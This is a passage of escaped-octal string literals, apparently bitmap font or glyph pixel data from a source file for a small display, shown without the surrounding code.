\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\360\\360\"\n  \"\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\203\\203\\203\\203\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\200\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\77\\77\\77\"\n  \"\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\300\\340\\340\\360ppp\\360\\377\\377\\177\\360\\360\\340\\300\\200\\0\\0\\0\\0\\360\\376\\377\\377\\7\\3\\1\\0\\0\\0\\360\"\n  \"\\377\\377\\37\\0\\0\\0\\1\\7\\3\\0\\0\\0\\0\\17\\77\\377\\377\\360\\300\\200\\0\\0\\360\\377\\377\\17\\0\\0\\0\\0\\200\\300\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\377\\377\\377\\17\\16\\16\\17\\17\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\1\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\"\n  \"\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\374\\376\\377\\17\\7\\3\\1\\1\\1\\1\\3\\3\\7\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\34\\34\\37\\177\\377\\377\\374\\234\\34\\34\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\340\\377\\377\\377\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\34\\36\\37\\17\\17\\17\\16\\16\\16\\36\"\n  \"\\34\\34<\\70\\70\\70\\70<\\34\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\34\"\n  \"\\270\\360\\360px\\70\\70\\70\\70xp\\360\\370\\274\\34\\10\\0\\0\\0\\0\\0\\0\\0\\77\\377\\377\\341\\200\\200\\0\\0\\0\"\n  \"\\0\\200\\300\\341\\377\\177\\36\\0\\0\\0\\0\\0\\0\\0\\6\\17\\7\\3\\1\\3\\7\\7\\7\\7\\7\\7\\3\\1\\3\\7\\16\\4\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300@\\0\\0\\0\\0\\3\\7\\37\\177\\374\\370\\340\\200\\0\\0\\0\\0\\300\\360\\374\\177\\37\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\77\\376\\370\\374\\377\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\307\"\n  \"\\307\\307\\307\\307\\307\\307\\377\\377\\377\\377\\307\\307\\307\\307\\307\\307\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\77\\77\"\n  \"\\77\\77\\1\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\"\n  \"\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\370\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\37\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\360ppp\"\n  \"p\\360\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0>\\377\\377\\377\\341\\300\\200\\200\\0\\0\\0\\0\\3\\7\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\360\\370\\374\\376\\207\\3\\3\\7\\7\\7\\17\\17\\36\\374\\374\\370\\340\\0\\0\\0\\0\\0\\0\\0\\0\\3\"\n  \"\\7\\7\\17\\17\\36\\36\\34<<x\\374\\377\\347\\303\\1\\0\\0\\0\\0\\0\\0\\0\\70|\\370\\360\\340\\340\\300\\300\\300\\300\"\n  \"\\340\\340\\360\\177\\177\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\360\\360\\340\\0\\0\\0\\0\\340\\360\\360\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340p\\60\\60\\30\\30\\30\\30\\30\\30\\30\\60\\60p\\340\\300\"\n  \"\\200\\0\\0\\0\\374\\37\\7\\1\\340\\370\\374\\36\\16\\17\\7\\7\\7\\7\\17><\\30\\0\\1\\7\\37\\374\\360\\77\\370\\340\\200\"\n  \"\\3\\37\\77|x\\360\\340\\340\\340\\340px\\70\\20\\0\\200\\340\\370\\77\\7\\0\\0\\1\\3\\7\\6\\14\\14\\34\\30\\30\\30\"\n  \"\\30\\30\\34\\14\\16\\6\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\3\\207\\203\\201\\301\\301\\300\\300\\301\\301\\307\\377\\377\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0<\\177\\377\\343\\301\\301\\201\\300\\300\"\n  \"\\300\\340p\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\60\\60\\60\\60\\61\\61\\61\\61\\61\\61\\60\\60\\60\\61\\61\\61\\60\\60\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370|\\70\\0\\0\\0\\200\\300\\340\\360x\\70\\20\\0\\0\\0\\0\\0\\14\\36\"\n  \"\\77\\177\\363\\341\\300\\200\\0\\14\\36\\77\\177\\363\\341\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\2\"\n  \"\\0\\0\\0\\0\\1\\3\\7\\7\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0ppppppppp\"\n  \"pppp\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\"\n  \"\\340p\\60\\60\\30\\30\\30\\30\\30\\30\\70\\60\\60p\\340\\300\\200\\0\\0\\0\\374\\37\\7\\1\\0\\0\\377\\377\\203\\203\\203\\203\"\n  \"\\203\\207\\306\\376x\\0\\0\\1\\7\\37\\374\\360\\77\\370\\340\\200\\0\\0\\177\\177\\1\\1\\1\\1\\3\\17\\77x`\\0\\0\\200\"\n  \"\\340\\370\\77\\17\\0\\0\\1\\3\\7\\6\\14\\14\\34\\30\\30\\30\\30\\30\\34\\14\\16\\6\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\340\\340\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0~\\377\\377\\303\\201\\0\\0\\0\\0\\201\\303\\377\\377~\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\7\"\n  \"\\7\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\16\\16\\16\\16\\16\\16\\16\\16\\16\\377\\377\\377\\377\\16\\16\\16\\16\\16\\16\\16\\16\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\34\\34\\34\\34\\34\\34\\34\\34\\34\\34\"\n  \"\\34\\34\\34\\34\\34\\34\\34\\34\\34\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340````\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\3\\1\\0\\0\\0\\0\\200\\300\\340\\361\\177\\77\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\374\\336\\317\\307\"\n  \"\\303\\303\\301\\300\\300\\300\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340```\"\n  \"`\\340\\340\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\0`ppp\\371\\377\\337\\217\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\60\\70xp\\340\\340\\340\\300\\340\\340`q\\77\\77\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\374x\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\7\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\17\\37\\34\\70\\70\\70\\70<\"\n  \"\\36\\17\\7\\7\\37\\37<\\70\\70<\\36\\14\\177\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\340\\360\\360\\360\\360\\360pppp\\360\\360\\360\\0\\0\\0\\0\\0\\374\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\3\\7\\17\\17\\37\\37\\77\\77\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\0\\0\\0\\0\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0x\\374\\374\\374\\374x\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\70\\70ppcccs\\77>\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\"\n  \"\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\7\\7\\3\\3\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\"\n  \"\\374\\377\\17\\3\\1\\1\\0\\1\\1\\3\\17\\377\\376\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\77\\177\\370\\340\\300\\300\\200\\300\"\n  \"\\300\\340\\370\\177\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\60\\60\\60\\60\\60\\60\\61\\61\\61\\61\\61\\60\\60\\60\\60\\60\\60\\60\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\10\\34<x\\360\\340\\300\\200\\0\\0\\34<x\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\200\"\n  \"\\300\\340\\360y\\77\\37\\17\\6\\200\\300\\340\\360y\\77\\37\\17\\6\\0\\0\\0\\0\\0\\1\\3\\3\\1\\0\\0\\0\\0\\0\\1\"\n  \"\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0`pp\\370\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\360 \\0\\0\\0\\0\\0\\0\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\200\\340\\370\"\n  \"\\177\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\376\\77\\17\\1\\0\\0\\200\\300\\340\\70\\374\\374\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\360\\374\\177\\17\\3\\0\\0\\60\\70>\\67\\63\\61\\60\\60\\377\\377\\60\\60\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\0\\0\\0\\0`pp\\370\\370\\370\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\340\\360\\360 \\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\77\\17\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\200\\340\\370\\177\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\300\\370\\376\\77\\17\\1\\60x\\30\\34\\14\\14\\14\\34\\70\\370\\340\\0\\0\\0@\\360\\374\\177\\17\\3\\0\\0\\0\\0\"\n  \"\\0\\300\\340p\\60\\30\\34\\16\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\3\\0 p\\70\\30\\30\\30\\70\\60\\360\\340\\0\\0\\0\\0\\0\\0\\0\\200\\360\\360`\\0\\0\\0\\200\\200\\0\\0\"\n  \"\\14\\14\\14\\36\\377\\363\\340\\0\\0\\0\\340\\370\\376\\37\\7\\1\\0\\0\\0\\0\\3\\3\\7\\6\\6\\6\\6\\7\\3\\3\\300\\360\"\n  \"\\374\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\177\\37\\7\\0\\0\\0\\300\\340p\\374\\374\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\370\\376\\77\\17\\1\\0\\0\\60\\70>\\63\\61\\60\\60\\377\\377\\60\\60\\60\\0\\0\\0\\0\\0\"\n  